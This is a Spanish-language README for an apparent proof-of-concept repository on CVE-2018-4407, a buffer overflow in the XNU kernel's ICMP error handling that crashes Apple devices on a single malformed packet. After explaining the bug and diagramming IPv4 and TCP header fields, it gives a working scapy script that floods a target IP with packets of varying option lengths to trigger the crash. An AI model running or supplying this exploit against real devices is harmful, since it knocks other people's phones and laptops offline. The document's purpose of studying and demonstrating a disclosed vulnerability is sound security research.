
Una vulnerabilidad de desbordamiento de búfer en el código de error ICMP del núcleo XNU provoca que los dispositivos iOS se bloqueen (portátiles y móviles).
CVE-2018-4407 es una vulnerabilidad de desbordamiento de búfer en el código de error ICMP del kernel XNU. Provoca que los dispositivos IOS se bloqueen (tanto laptops como móviles) al recibir un (¡sí, 1!) solo paquete malo.
El bug fue divulgado originalmente por Kevin Backhouse en su blogpost de lgtm el 30 de octubre de 2018.
El código en este repositorio es una prueba de concepto del exploit CVE-2018-4407 implementada en python, usando scapy y nmap.
Algunos pasos de mi proceso de depuración. Una mirada al código del kernel XNU lleva a los números para iphlen y tcphlen que pueden desencadenar el desbordamiento de búfer.
Como dijo Backhouse, debemos tener icmplen > 84 y parece que debemos entrar en la rama de código
if(oip->ip_p == IPPROTO_TCP) para lograrlo. Un paquete TCP desencadenaría esta vulnerabilidad.

Un encabezado IPv4 va desde un mínimo de 20 bytes hasta 36 bytes (dependiendo de las opciones).
IHL: es la longitud del encabezado IP, incluyendo opciones. También indica dónde comienza la carga útil.Longitud Total: sería la longitud total del paquete IP (incluyendo el encabezado IP y la carga útil TCP). 0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
0 |Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
4 | Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
8 | Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
12 | Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
16 | Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
20 | Options (up to 16B) | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Un encabezado TCP va desde un mínimo de 20 bytes hasta 60 bytes (las opciones pueden ser de hasta 40 bytes).
Data offset: indica dónde comienzan los datos y también puede verse como la longitud del encabezado. 0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
0 | Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
4 | Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
8 | Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
12 | Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
16 | Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
20 | Options (up to 40B) | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
No es necesario profundizar tanto en el código XNU. También se puede usar un script sencillo de scapy que intente manualmente varias longitudes de encabezado:
MIN_IPHLEN = 20
MIN_TCPHLEN = 20
DST_IP = #<IP_ADDRESS>
for ip_opt_len in range(0, 60):
for tcp_opt_len in range (0, 60):
iphlen = ip_opt_len + MIN_IPHLEN
tcphlen = tcp_opt_len + MIN_TCPHLEN
total_ip_len = tcphlen + iphlen
send(IP(
ihl=iphlen/4,
len=total_ip_len,
dst=DST_IP,
options=IPOption("a" * ip_opt_len)
)/TCP(
dataofs=15,
options = [("NOP", None)] * tcp_opt_len
))